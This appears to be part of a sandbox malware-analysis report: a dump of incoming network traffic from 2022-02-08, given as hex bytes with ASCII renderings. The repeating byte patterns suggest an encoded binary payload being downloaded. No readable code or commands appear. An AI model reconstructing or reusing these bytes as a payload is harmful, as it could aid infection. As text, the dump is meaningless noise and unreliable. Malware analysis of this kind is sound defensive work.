09 d3 de 99 bc 49 44 b6 b5 4e 43 b8 83 5c 51 9c 18 dc d1 87 25 3e 33 58 03 d5 d8 95 6a f2 ff db a7 40 4d a4 38 35 38 4e 
23 3c 31 5c bd bf b2 41 c9 93 9e 19 e7 89 84 2d ca 
Data Ascii: )P!,fTWwz\Q{uxobo\)$vTYce_@MK,94V;49Los<~sC|6`gjALwzHEAs~GJZn*f1_Rnc{vrOXU@MID
NC\Q%>3Xj@M858N#<1\A-

2022-02-08 23:07:11 UTC 727 IN Data Raw: 22 12 08 17 bf 0d a3 4f 45 a1 30 4c a6 ea 65 b6 96 ca 93 db e0 67 02 ad 2c ef 27 e1 2e 1a db 36 cb 55 0c fd 
e1 90 8c b9 d4 b6 03 1a b6 03 4a 40 07 dd 2d 5b bd f8 b5 55 57 bd 54 95 a9 e0 56 e0 86 23 44 10 ca a2 e7 87 8c 2f 21 
7e 5f 44 c6 21 d0 47 53 bd 42 52 b8 c7 2f ed 62 9e 7d 78 4f 1d c3 ac 9c 3c b7 f4 b5 55 57 bd f1 9d 9e 33 9b 14 5c 46 e3 
6d d2 b2 88 53 8a 2b 55 22 33 0c e3 6d d2 b2 f4 c0 5a 42 92 6c 7a 8b 26 56 b4 f6 3e 1c 6b 95 bc 2d 71 70 dc 1e 20 e7 
99 61 73 85 79 16 17 34 fd b8 7c 8f e1 18 fd 71 75 33 f5 88 2d 5b bd f8 34 a6 f8 77 b3 ca 26 e3 04 32 5d b1 27 e1 2e 1a 
c5 e3 65 68 92 6c 7a 8b b8 c7 2f ed bf ef c4 5f bc 2d 71 70 26 56 b4 f6 83 5e 83 25 71 d9 ab 15 c3 7c 14 36 79 16 17 34 
25 94 01 d9 0e 88 ce 53 9c 3c b7 f4 6c ce b0 07 cd 2c d9 49 00 
Data Ascii: "OE0Leg,'.6UJ@-[UWTV#D/!~_D!GSBR/b}xO<UW3\FmS+U"3mZBlz&V>k-qp asy4|qu3-[4w&2]'.ehlz/_-qp
&V^%q|6y4%S<l,I

2022-02-08 23:07:11 UTC 733 IN Data Raw: d5 1e ee 8b 03 a3 81 e4 dd 12 44 21 4c 46 74 11 2c 16 75 10 2e 15 12 77 e0 bc 39 5c b6 c1 c7 a2 51 d8 10 75 
e4 ba bb de a9 5c cd a8 45 c6 07 62 ca 83 85 e0 d5 1e 4c 29 5c 5e 31 54 a6 d9 cb ae 49 cc 92 f7 fb 27 d5 b0 75 ee 25 40 
8e e5 88 ed cf 09 5c 39 7c 6e fe 9b 23 93 51 34 66 79 cd a8 45 c6 69 0c 16 31 1b 7e f2 a7 db be 69 fc 6c 09 1c 3e 91 f4 
fd 22 02 67 c0 8c 24 41 8c e6 12 77 e0 bc 2d 48 9e fd da bf 6b ff 16 73 e8 b0 22 47 80 ec 87 e2 d1 18 62 07 00 2c 93 f6 
f9 24 e2 87 1b b7 3a 5f b0 c4 0b 6e d2 97 1e 7b f8 a8 1a 7f f0 a4 dd b8 65 f6 fe 9b 23 93 3d 58 be cd 25 40 8e e5 b3 d6 
b9 44 b6 d3 b3 4b 2c 49 9c fe 2b 4e 92 f7 39 5c b6 c1 b9 dc ad 5a 5b 3e 72 67 b0 d5 bf 41 97 f2 f1 28 25 40 8e e5 50 35 
64 7a 59 3c 76 61 da bf 6b ff f6 93 33 8b ec 89 07 a5 f7 
Data Ascii: D!LFt,u.w9\Qu\EbL)\^1TI'u%@\9|n#Q4fyEi1~il>"g$Aw-Hks"Gb,$:_n{e#=X%@DK,I+N9\Z[>rgA(%@P5dz
Y<vak3

2022-02-08 23:07:12 UTC 749 IN Data Raw: ed c7 6b 84 86 ac b5 35 e9 c3 24 61 2c 06 44 31 1c 36 46 32 1d 37 88 9b 7a 50 de e6 51 7b 39 ff af 85 8c 9d 
78 52 c1 7b d3 f9 2d e1 a5 8f a2 a4 6f 45 bd 39 ed c7 34 79 24 0e ce fe 59 73 21 eb a3 89 93 00 fa d0 1d c9 bd 97 e6 c2 
4d 67 a7 2e e0 ca 14 49 34 1e 4b b4 96 bc 0e 5e 39 13 2d e1 a5 8f 7e 16 01 2b 9a 80 73 59 01 db b3 99 74 19 04 2e 95 
05 f9 d3 a8 ab 6a 40 e4 c1 4c 66 88 9b 7a 50 f6 da 45 6f 03 d8 b2 98 80 97 7e 54 e8 cb 4a 60 b9 3f ef c5 68 0b 0a 20 91 
03 fb d1 73 90 8a a0 d8 e3 52 78 ba b0 63 49 90 8f 76 5c 98 83 72 58 0d d1 b5 9f 4b b4 96 bc d6 ea 55 7f e6 c2 4d 67 d1 
63 db f1 db 6c de f4 f4 d9 44 6e fa d0 43 69 de e6 51 7b c5 7d d1 fb 1a 40 33 19 d7 66 d8 f2 99 0f ff d5 e6 c2 4d 67 0c 5d 
38 12 1e 46 31 1b 03 d8 b2 98 5b ac 9e b4 6f 82 84 ae 59 
Data Ascii: k5$a,D16F27zPQ{9xR{-oE94y$Ys!Mg.I4K^9-~+sYt.j@LfzPEo~TJ`?h sRxcIv\rXKUMgclDnCiQ{}@3fMg]8F1[oY

2022-02-08 23:07:12 UTC 751 IN Data Raw: 0c 26 64 8b 0c 26 64 e4 0c 26 64 21 0c 26 64 11 0c 26 64 10 0c 26 64 77 0c 26 64 5c 0c 26 64 a2 0c 26 64 75 
0c 26 64 de 0c 26 64 a8 0c 26 64 62 0c 26 64 e0 0c 26 64 29 0c 26 64 54 0c 26 64 ae 0c 26 64 f7 0c 26 64 b0 0c 26 64 
40 0c 26 64 ed 0c 26 64 39 0c 26 64 9b 0c 26 64 34 0c 26 64 a8 0c 26 64 0c 0c 26 64 7e 0c 26 64 be 0c 26 64 09 0c 26 
64 f4 0c 26 64 67 0c 26 64 41 0c 26 64 77 0c 26 64 48 0c 26 64 bf 0c 26 64 73 0c 26 64 47 0c 26 64 e2 0c 26 64 07 0c 26 
64 f6 0c 26 64 87 0c 26 64 5f 0c 26 64 6e 0c 26 64 7b 0c 26 64 7f 0c 26 64 b8 0c 26 64 9b 0c 26 64 58 0c 26 64 40 0c 26 
64 d6 0c 26 64 d3 0c 26 64 49 0c 26 64 4e 0c 26 64 5c 0c 26 64 dc 0c 26 64 3e 0c 26 64 d5 0c 26 64 f2 0c 26 64 40 0c 26 
64 35 0c 26 64 3c 0c 26 64 bf 0c 26 64 93 0c 26 64 89 0c 26 64 
Data Ascii: &d&d&d!&d&d&dw&d\&d&du&d&d&db&d&d)&dT&d&d&d&d@&d&d9&d&d4&d&d&d~&d&d&d&dg&dA&dw
&dH&d&ds&dG&d&d&d&d&d_&dn&d{&d&d&d&dX&d@&d&d&dI&dN&d\&d&d>&d&d&d@&d5&d<&d&d&d&d

2022-02-08 23:07:12 UTC 753 IN Data Raw: 0c c7 64 01 0c ac 64 01 0c c3 64 01 0c 06 64 01 0c 36 64 01 0c 37 64 01 0c 50 64 01 0c 7b 64 01 0c 85 64 01 
0c 52 64 01 0c f9 64 01 0c 8f 64 01 0c 45 64 01 0c c7 64 01 0c 0e 64 01 0c 73 64 01 0c 89 64 01 0c d0 64 01 0c 97 64 01 
0c 67 64 01 0c ca 64 01 0c 1e 64 01 0c bc 64 01 0c 13 64 01 0c 8f 64 01 0c 2b 64 01 0c 59 64 01 0c 99 64 01 0c 2e 64 01 
0c d3 64 01 0c 40 64 01 0c 66 64 01 0c 50 64 01 0c 6f 64 01 0c 98 64 01 0c 54 64 01 0c 60 64 01 0c c5 64 01 0c 20 64 
01 0c d1 64 01 0c a0 64 01 0c 78 64 01 0c 49 64 01 0c 5c 64 01 0c 58 64 01 0c 9f 64 01 0c bc 64 01 0c 7f 64 01 0c 67 64 
01 0c f1 64 01 0c f4 64 01 0c 6e 64 01 0c 69 64 01 0c 7b 64 01 0c fb 64 01 0c 19 64 01 0c f2 64 01 0c d5 64 01 0c 67 64 
01 0c 12 64 01 0c 1b 64 01 0c 98 64 01 0c b4 64 01 0c ae 64 
Data Ascii: dddd6d7dPd{ddRdddEdddsddddgdddddd+dYdd.dd@dfdPdoddTd`dd dddxdId\dXddddgdddndid{dddddgddd
ddd

2022-02-08 23:07:12 UTC 755 IN Data Raw: 91 75 d7 2a 60 30 2d 86 cb 68 ce cd 58 6b fe ed 0d 91 88 40 fb fc 44 c8 6a 8a 46 3d 4f c6 a3 72 b3 11 89 b7 
64 da bc 91 e4 9e de 24 6b 3d 6f fa 22 67 d5 df 45 7c 3f 9a dd 72 c1 c7 3c b2 ee 04 3e c7 a2 85 2c 37 e4 08 8f a0 37 63 
49 59 b8 60 ae 06 2a 75 3b 9a 47 ca d0 e0 15 5f 0a b9 ab 8b 27 3a df d3 f4 1b 3f 9a dd 72 f6 14 99 ba 34 61 f3 33 ba 95 
8b 4a e2 0c e0 74 5b 2b 3d 05 ba 95 8b 4a 32 65 9c e7 12 ac fa 4b dc d1 4e 71 03 b2 56 3b 19 57 d4 0a 48 c0 b4 39 1b 
a2 f1 46 7f 13 11 31 14 a8 95 9f 95 56 89 3f 9d af 1d 14 d5 df 45 7c 90 50 5c 81 4e c4 db ed 35 96 6c 15 46 3d 4f c6 0d 4f 
ad c4 12 ac fa 4b 47 ca d0 e0 ac 78 d7 c8 19 57 d4 0a dc d1 4e 71 eb 02 eb 79 c3 32 19 fe 7c 11 ab 5b 7f 13 11 31 69 fe 
4d b3 a6 74 66 af df d3 f4 1b d8 20 04 e9 b1 6e a5 0b 6b 
Data Ascii: u*`0-hXk@DjF=Ord$k=o"gE|?r<>,77cIY`*u;G_':?r4a3Jt[+=J2eKNqV;WH9F1V?E|P\N5lF=OOKGxWNqy2|[1iMtf 
nk

2022-02-08 23:07:12 UTC 757 IN Data Raw: 28 1e 6f 0c 05 28 55 22 33 0c 64 01 0c 26 3c 69 44 56 6f 0c 05 28 21 7e 5f 44 64 01 0c 26 10 5d 60 6e 6f 0c 
05 28 0d 4a 7b 7c 64 01 0c 26 d4 d1 9c c6 6f 0c 05 28 c9 c6 87 d4 64 01 0c 26 f8 e5 b8 fe 6f 0c 05 28 e5 f2 a3 ec 64 01 
0c 26 8c b9 d4 b6 6f 0c 05 28 91 ae cf a4 64 01 0c 26 a0 8d f0 8e 6f 0c 05 28 bd 9a eb 9c 64 01 0c 26 1f ba 37 fd 6f 0c 05 
28 02 ad 2c ef 64 01 0c 26 33 8e 13 c5 6f 0c 05 28 2e 99 08 d7 64 01 0c 26 47 d2 7f 8d 6f 0c 05 28 5a c5 64 9f 64 01 0c 
26 6b e6 5b b5 6f 0c 05 28 76 f1 40 a7 64 01 0c 26 af 6a a7 1d 6f 0c 05 28 b2 7d bc 0f 64 01 0c 26 83 5e 83 25 6f 0c 05 
28 9e 49 98 37 64 01 0c 26 f7 02 ef 6d 6f 0c 05 28 ea 15 f4 7f 64 01 0c 26 db 36 cb 55 6f 0c 05 28 c6 21 d0 47 64 01 0c 
26 92 6c 7a 8b 6f 0c 05 28 8f 7b 61 99 64 01 0c 26 be 
Data Ascii: (o(U"3d&<iDVo(!~_Dd&]`no(J{|d&o(d&o(d&o(d&o(d&7o(,d&3o(.d&Go(Zdd&k[o(v@d&jo(}d&^%o(I7d&m
o(d&6Uo(!Gd&lzo({ad&

2022-02-08 23:07:12 UTC 759 IN Data Raw: 20 12 6d 0f 07 2b 5b 2b 3d 05 64 01 0c 26 2c 71 54 4e 6d 0f 07 2b 37 63 49 59 64 01 0c 26 08 49 78 7a 6d 0f 
07 2b 13 5b 65 6d 64 01 0c 26 f4 e1 bc f6 6d 0f 07 2b ef f3 a1 e1 64 01 0c 26 d0 d9 90 c2 6d 0f 07 2b cb cb 8d d5 64 01 
0c 26 bc 91 e4 9e 6d 0f 07 2b a7 83 f9 89 64 01 0c 26 98 a9 c8 aa 6d 0f 07 2b 83 bb d5 bd 64 01 0c 26 5f da 77 9d 6d 0f 
07 2b 44 c8 6a 8a 64 01 0c 26 7b e2 5b a9 6d 0f 07 2b 60 f0 46 be 64 01 0c 26 17 aa 2f f5 6d 0f 07 2b 0c b8 32 e2 64 01 
0c 26 33 92 03 c1 6d 0f 07 2b 28 80 1e d6 64 01 0c 26 cf 3a c7 4d 6d 0f 07 2b d4 28 da 5a 64 01 0c 26 eb 02 eb 79 6d 0f 
07 2b f0 10 f6 6e 64 01 0c 26 87 4a 9f 25 6d 0f 07 2b 9c 58 82 32 64 01 0c 26 a3 72 b3 11 6d 0f 07 2b b8 60 ae 06 64 01 
0c 26 12 ac fa 4b 6d 0f 07 2b 09 be e7 5c 64 01 0c 26 36 
Data Ascii:  m+[+=d&,qTNm+7cIYd&Ixzm+[emd&m+d&m+d&m+d&m+d&_wm+Djd&{[m+`Fd&/m+2d&3m+(d&:Mm+
(Zd&ym+nd&J%m+X2d&rm+`d&Km+\d&6

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 761 IN Data Raw: 0c 39 64 01 0c 19 64 01 0c 59 64 01 0c d9 64 01 0c c2 64 01 0c f4 64 01 0c f4 64 01 0c f4 74 01 0c f4 74 00 0e 
f7 70 05 08 f0 78 0c 02 fb 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 01 0c f4 74 10 2e c7 30 45 48 b0 b8 dc e2 0b 
74 01 0c f4 1d c5 ec 2c 77 be e8 1c af 73 5f 9c df c7 9a c6 c7 c7 9a c6 c7 c6 98 c5 c3 c3 9e c2 cb ca 94 c9 c7 c7 9a c6 d7 
d6 88 d5 c3 c3 9e c2 c3 c3 9e c2 c3 c3 9e c2 c3 d2 bc f1 87 87 da 86 0f 1e 70 3d c3 c3 9e c2 1e 6a e2 66 98 26 3d 86 f6 
89 4d 26 1a 84 3c b7 3a 84 3c b7 3a 85 3e b4 3e 80 38 b3 36 89 32 b8 3a 84 3c b7 2a 95 2e a4 3e 80 38 b3 26 99 22 a8 
3a 84 3c b7 3a 95 1e 84 7e c0 78 f3 f6 59 d2 48 3a 84 3c b7 b4 26 8b 7d e5 41 ce c2 0f bd 87 52 44 f4 e7 db 2f 91 9e db 
5b fc ee db 5b fc ee db 5b fc ee db 5b fc ee db a3 
Data Ascii: 9ddYdddddttpxtttttt.0EHt,ws_p=jf&=M&<:<:>>862:<*.>8&":<:~xYH:<&}ARD/[[[[

2022-02-08 23:07:12 UTC 763 IN Data Raw: 90 e9 1a cf fe bf 7b a3 97 db 1a d7 f2 ee 1a d7 f2 ee 68 d7 f2 ee 68 d7 f2 ee 68 d7 f2 ee 97 28 0d 11 68 d7 f2 
ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d 11 68 d7 f2 ee 97 28 0d d0 68 d7 f2 
ef 5c e2 c4 d8 64 db fe e3 58 e6 01 1c a7 18 fe e3 58 18 ff e1 5b 1c fa e7 5c 14 f3 ed 57 18 fe e3 58 08 ef f1 4b 1c fa e7 
5c 04 e3 18 a3 fb 1c e7 5c e1 07 fb 41 ff 18 db 60 dd 3b ff 45 fb 1c d7 6c d1 37 fb 41 ff 18 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
cd 2b 34 8f 32 d4 cb 70 cd 2b 34 8f 32 d4 cb 70 
Data Ascii: {hhh(h(h(h(h(h(h\dXX[\WXK\\A`;El7Ap+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p+42p

2022-02-08 23:07:12 UTC 767 IN Data Raw: a7 48 e5 b7 a7 48 af b7 a7 48 e5 b7 a7 48 ae b7 a7 48 e5 b7 a7 48 a9 b7 a7 48 e5 b7 a7 48 a8 b7 a7 48 e5 
b7 a7 48 ab b7 a7 48 e5 b7 a7 48 aa b7 a7 48 e5 b7 a7 48 b5 b7 a7 48 e5 b7 a7 48 b4 b7 a7 48 e5 b7 a7 48 b7 b7 a7 48 
e5 b7 a7 48 b6 b7 a7 48 e5 b7 a7 48 b1 b7 a7 48 e5 b7 a7 48 b0 b7 a7 48 e5 b7 a7 48 b3 b7 a7 48 e5 b7 a7 48 b2 b7 a7 
48 e5 b7 a7 48 bd b7 a7 48 e5 b7 a7 48 bc b7 a7 48 e5 b7 a7 48 bf b7 a7 48 e5 b7 a7 48 84 b7 a7 48 e5 b7 a7 48 87 b7 
a7 48 e5 b7 a7 48 86 b7 a7 48 e5 b7 a7 48 81 b7 a7 48 e5 b7 a7 48 80 b7 a7 48 e5 b7 a7 48 83 b7 a7 48 e5 b7 a7 48 82 
b7 a7 48 e5 b7 a7 48 8d b7 a7 48 e5 b7 a7 48 8c b7 a7 48 e5 b7 a7 48 8f b7 a7 48 e5 b7 a7 48 8e b7 a7 48 e5 b7 a7 48 
89 b7 a7 48 e5 b7 a7 48 88 b7 a7 48 e5 b7 a7 48 8b b7 a7 48 e5 b7 a7 48 8a 
Data Ascii: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH

2022-02-08 23:07:12 UTC 787 IN Data Raw: b0 1a dc c1 bd 1a c5 a5 b1 1a dc f1 ba 1a c5 c5 b0 1a dc b7 a5 fa dd a2 ad fa c8 d6 a1 fa dd b2 aa fa c8 86 a0 
fa dd f4 b1 1a dc ea b8 1a c2 0e 1e 1a dc 7a bb 1a c2 4e 1f 1a dc 4f bd 1a cc 1f bd 1a cd 14 bf 1a c6 26 b8 2a c7 2d bb 
2a cc 2c 9d 2a c8 1c 9d 2a c9 3d 96 2a e8 59 0a 2a c9 6d 90 2a e8 6c 04 2a fa 9c 14 ca f4 4c 18 ba ff 1c 18 ba fe 1b 1a 
ba f9 1a 23 ba f8 0a 20 ba e8 0b a4 ba e1 3b a4 ba e0 27 a8 ba fc 43 b9 ba e0 17 b6 ba fc 23 b8 ba e0 51 a0 4a f6 b1 b4 
9a e4 71 a4 ea e5 53 af ea c7 b7 32 ea e5 c3 ae ea c7 a7 35 ea e5 93 af ea c7 92 37 ea d3 c2 37 ea d2 de 3b ea ce ba 2f 
ea d2 ee 3c ea ce da 2e ea d2 68 36 1a c4 88 22 ca d6 48 32 ba d7 57 39 ba c8 23 1b ba d7 47 3a ba c8 73 1a ba d7 72 
06 ba c3 92 14 7a d3 c2 14 7a d2 cb 17 7a db ca 13 7b d9 
Data Ascii: zNO&*-*,**=*Y*m*l*L# ;'C#QJqS2577;/<.h6"H2W9#G:srzzz{

2022-02-08 23:07:12 UTC 789 IN Data Raw: a8 b9 d0 46 ac b9 da 72 a2 b9 d0 e0 a4 c9 18 37 a5 c9 58 37 a5 c9 59 31 a7 c9 5f 63 a5 f9 5e 63 a5 f9 5f 65 
a7 f9 59 57 a5 c9 58 4e af c9 41 3a a4 c9 58 5e ae c9 41 0a a7 c9 58 3e af c9 41 6c ba 39 40 63 be 39 4f 57 b8 39 40 65 
b3 49 51 79 b9 49 4d 1d b6 49 51 29 b8 49 4d 5b a0 b9 5b bb b4 69 49 7b a4 19 f9 8f a5 19 f8 8f a5 19 e3 24 a4 19 cc 88 
a5 19 4c 3b a7 19 4c 3b a7 19 5d 34 a3 19 52 00 a4 19 5d 32 af 69 ed c6 ae 69 ec c6 ae 69 87 6b af 69 f2 c6 ae 69 1c 75 
ac 69 1c 75 ac 69 0d 60 a4 69 18 14 af 69 0d 70 a5 69 18 44 ac 69 0d 16 bd 89 bd e2 bc 89 bf e2 bc 89 ba 4c bd 89 9d e2 
bc 89 39 51 be 89 39 51 be 89 15 ff bf 89 55 51 be 89 f1 e2 bc 89 f1 e2 bc 89 e0 fb b4 89 f9 8f bc 89 e0 eb bb 89 f9 df bd 
89 e0 ed a8 69 50 19 a9 69 51 19 a9 69 07 a9 a8 69 6d 
Data Ascii: Fr7X7Y1_c^c_eYWXNA:X^AX>Al9@c9OW9@eIQyIMIQ)IM[[iI{$L;L;]4R]2iiikiiuiui`iipiDiL9Q9QUQiPiQiim

2022-02-08 23:07:12 UTC 809 IN Data Raw: ab 5b 48 36 a5 5b 5b 05 ab 29 51 f5 a3 c9 57 25 a7 09 55 75 a7 09 9d a2 a6 09 ad a2 a6 09 bc ad a0 09 b3 c9 
a9 09 bc fd a1 09 b3 af aa 79 03 5b ab 79 02 5b ab 79 90 1e a9 79 94 58 ab 79 53 ed a9 79 53 ed a9 79 42 f0 a5 79 5f 34 
a8 79 42 40 a4 79 5f 24 af 79 42 10 a5 79 5f 42 bc 89 48 a2 a9 59 f8 56 a8 59 fa 56 a8 59 a3 11 aa 59 d2 56 a8 59 2b e3 
aa 59 2b e3 aa 59 d5 a5 a8 59 56 ed aa 59 42 5b a8 59 42 5b a8 59 43 4b ae 59 53 3f a9 59 43 0b af 59 53 39 a3 b9 42 
2c ab b9 57 58 a3 b9 42 3c a4 b9 57 08 a2 b9 42 3a b3 49 f2 ce b2 49 f3 ce b2 49 90 88 b0 49 10 ce b2 49 f0 7b b0 49 f0 
7b b0 49 e1 6a b6 49 f0 5e bc 49 e1 6c b1 a9 ea 1c bb c9 5a e8 ba c9 5b e8 ba c9 48 a3 b8 c9 1f e8 ba c9 32 5e b8 c9 32 
5e b8 c9 23 54 bc c9 29 60 b0 c9 23 f2 b6 b9 93 06 b7 b9 92 
Data Ascii: [H6[[)QW%Uuy[y[yyXySySyBy_4yB@y_$yBy_BHYVYVYYVY+Y+YYVYB[YB[YCKYS?YCYS9B,WXB<WB
:IIIII{I{IjI^IlZ[H2^2^#T)`#

2022-02-08 23:07:12 UTC 811 IN Data Raw: e2 5d c8 02 fd 5d d7 76 e3 5d c8 12 fe 5d d7 26 e2 5d c8 27 f8 5d dc 77 f8 5d dd 6c f2 5d c6 18 fc 5d dd 7c f1 
5d c6 48 fd 5d dd 3a e9 ad cf da f9 fd d6 fc f3 fd c2 fd fa fc cf 0d f1 1c c6 dd f6 dc c3 ad f2 bc c0 fd f0 8c 08 2a f1 8c 38 22 
f1 8c 20 87 f2 8c 20 87 f2 8c 20 87 f2 8c e0 37 f1 8c 50 f7 f3 8c 38 53 f0 8c 38 53 f0 8c 38 53 f0 8c 6a e1 f3 8c 6a 21 f1 8c 
e2 88 f2 8c e2 88 f2 8c e2 88 f2 8c 88 3b f1 8c a8 fe f3 8c 58 57 f0 8c 58 57 f0 8c 58 57 f0 8c 2e e4 f3 8c a6 21 f1 8c a6 21 
f1 8c a6 21 f1 8c a6 21 f1 8c a6 21 f1 8c a6 21 f1 8c 6e 90 f2 8c 6e 90 f2 8c 82 20 f1 8c 82 20 f1 8c 14 97 f2 8c 14 97 f2 8c 
b8 20 f1 8c b8 20 f1 8c 7c 97 f2 8c 7c 97 f2 8c 46 25 f1 8c 46 25 f1 8c 60 97 f2 8c 60 97 f2 8c 78 25 f1 8c 78 25 f1 8c 7c 97 
f2 8c 7c 97 f2 8c 86 
Data Ascii: ]]v]]&]']w]l]]|]H]:*8"   7P8S8S8Sjj!;XWXWXW.!!!!!!nn    ||F%F%``x%x%||

2022-02-08 23:07:12 UTC 813 IN Data Raw: 89 cf d3 c7 19 69 64 47 af d8 d5 e1 02 6f 52 4b b3 c9 f2 fc 1f 78 48 7e dc 78 8c 7f 58 de 3b ff ee 6f 8a 59 43 
d8 0d f3 f2 7e ad 44 5e cf 17 c6 9d cf 7e c5 13 79 d1 72 b9 f8 6b c5 1f 6f c7 51 b5 c8 61 d1 1e 6a d0 12 d8 6b 54 b4 6f eb 
e2 05 de 4d 4f b2 4d fc e3 12 eb 4c 53 d1 21 4d d7 77 96 cd 61 c6 27 6b cc 71 b0 c0 7d d7 12 67 be d7 d1 64 2f 71 73 c3 
aa db dc 65 69 db b9 65 e9 77 14 c8 4f d7 a3 45 ed 79 05 e2 7e d3 b6 44 bd d3 29 44 3d 62 8f e6 8a c4 02 44 24 62 a5 
d7 8e d1 03 55 4d d1 fc 51 d8 7b 4d e6 6e d9 e2 75 df 75 55 d3 7f c2 d3 68 bc c2 1d 6c 2b 64 ac c2 81 c9 0e 75 27 5a bf 
d9 87 fc 0f 69 44 fc c9 6a d5 5a 6b cd 46 eb c7 6d e0 5b 77 e3 46 f5 db 52 fc 36 e6 57 68 87 4c e0 ce 14 fd 4c 6e b2 4d fc 
e0 14 e3 50 51 ae 20 50 dc ac a4 f6 6b 3b 0f 47 cd 
Data Ascii: idGoRKxH~xX;oYC~D^~yrkoQajkToMOMLS!Mwa'kq}gd/qseiewOEy~D)D=bD$bUMQ{MnuuUhl+du'
ZiDjZkFm[wFR6WhLLnMPQ Pk;G

2022-02-08 23:07:12 UTC 815 IN Data Raw: c9 f2 ae 87 0a f2 bb 87 88 43 1d 02 22 ec bb 80 91 46 0b 02 1c d6 81 c1 90 d7 05 67 27 57 a9 c9 89 f5 04 6e 
06 5f a9 c8 84 9c 62 c9 00 3a d5 49 b6 8b 64 ef 1b 3c f3 44 aa 9a 51 e3 20 3d 92 e3 4b 3f 16 45 fc af a1 e2 77 0d 0c 45 
d8 ab cf 45 c2 a9 4b e3 75 27 e7 44 c3 88 41 c1 69 27 e7 4c cb 89 41 d8 08 89 43 db 82 39 c4 7d 23 8f 60 d9 85 3e f3 68 
23 8e 55 c5 94 4d 53 c6 1e fd c0 77 b2 5d 66 c7 02 f1 d7 42 a4 53 60 f4 15 f5 f3 45 b3 45 55 e8 04 86 a7 e8 82 2b 10 4e 
33 ab a1 e4 84 01 01 46 2b 91 a7 e6 9c 3b 0b 4b 5f 3b 30 48 d0 9d 92 fd 76 1d 23 57 c1 b7 83 f5 6e 27 25 55 d9 8d 89 f8 
1a 8d 62 fa 90 20 c8 4d 3a 82 67 e7 83 24 e7 56 29 93 4d f6 8b 3c dd 50 2b 8b 77 fc 86 09 da 5b 16 ba 70 f6 96 16 c6 5b 
21 d5 14 5b a6 73 bb fd 11 d5 3b 4c bb 62 91 ec 19 cd 01 
Data Ascii: C"Fg'Wn_b:Id<DQ =K?EwEEKu'DAi'LAC9}#`>h#UMSw]fBS`EEU+N3F+;K_;0Hv#Wn'%Ub M:g$V)M<P+w[p[![
s;Lb

2022-02-08 23:07:12 UTC 817 IN Data Raw: 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 
c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 11 16 ee a8 3f 38 c0 86 1f 16 ed a8 21 38 c3 86 0f 16 ed a8 21 38 
c3 86 0f 16 ed a8 21 38 de 86 0c 16 b0 8d 55 51 f0 c7 12 0d fb b5 4f 5a a6 ec 0e 03 be f6 7c 5f e5 b6 36 1d a7 ab 2a 1d 
ec fd 61 33 c2 d3 4f 1d ec fd 61 33 c2 d3 4f 1d ec fd 
Data Ascii: ?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8?8!8!8!8UQOZ|_6*a3Oa3O

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 819 IN Data Raw: 44 1a f8 a3 6a 34 d6 8d 44 1a f8 a3 6a 34 d6 bb 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 
6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 37 d6 3b 44 19 f8 15 6a 05 d6 3a 44 29 f8 15 
6a 24 d6 3a 44 08 f8 16 6a 1c d6 3b 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 
9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c 
d6 3f 44 b2 f8 11 6a 9c d6 3f 44 b2 f8 11 6a 9c d6 
Data Ascii: Dj4Dj4Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj7;Dj:D)j$:Dj;Dj?Dj?Dj?Dj?Dj?Dj?Dj?Dj?Dj?
Dj?Dj

2022-02-08 23:07:12 UTC 821 IN Data Raw: ab 9a a5 5e ab 9a 5a a1 54 65 5a a1 54 65 68 03 8b 48 f1 28 8b 48 3c 75 ab 9a 5a a1 54 65 5a a1 54 65 5a a1 
54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a 
